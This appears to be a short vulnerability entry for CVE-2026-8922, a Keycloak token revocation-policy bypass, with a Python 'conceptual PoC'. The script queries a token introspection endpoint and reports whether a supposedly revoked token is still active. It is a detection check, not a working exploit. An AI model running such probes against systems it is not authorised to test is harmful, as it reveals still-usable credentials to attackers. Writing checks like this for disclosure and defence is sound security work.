CVE-2026-8922 Keycloak撤销策略绕过漏洞

import requests # Conceptual PoC for CVE-2026-8922 # This script checks if a token remains active despite a realm-level revocation policy. def check_revocation_bypass(introspect_url, client_id, client_secret, token): headers = {'Content-Type': 'application/x-www-form-urlencoded'} data = { 'client_id': client_id, 'client_secret': client_secret, 'token': token } response = requests.post(introspect_url, data=data, headers=headers) result = response.json() # If 'active' is true, the revocation policy is bypassed if result.get('active', False): print("[+] Vulnerability Detected: Token is active despite realm revocation policy.") return True else: print("[-] Token is correctly inactive.") return False # Example usage # check_revocation_bypass("https://target.com/realms/myrealm/protocol/openid-connect/token/introspect", "client", "secret", "old_token_string")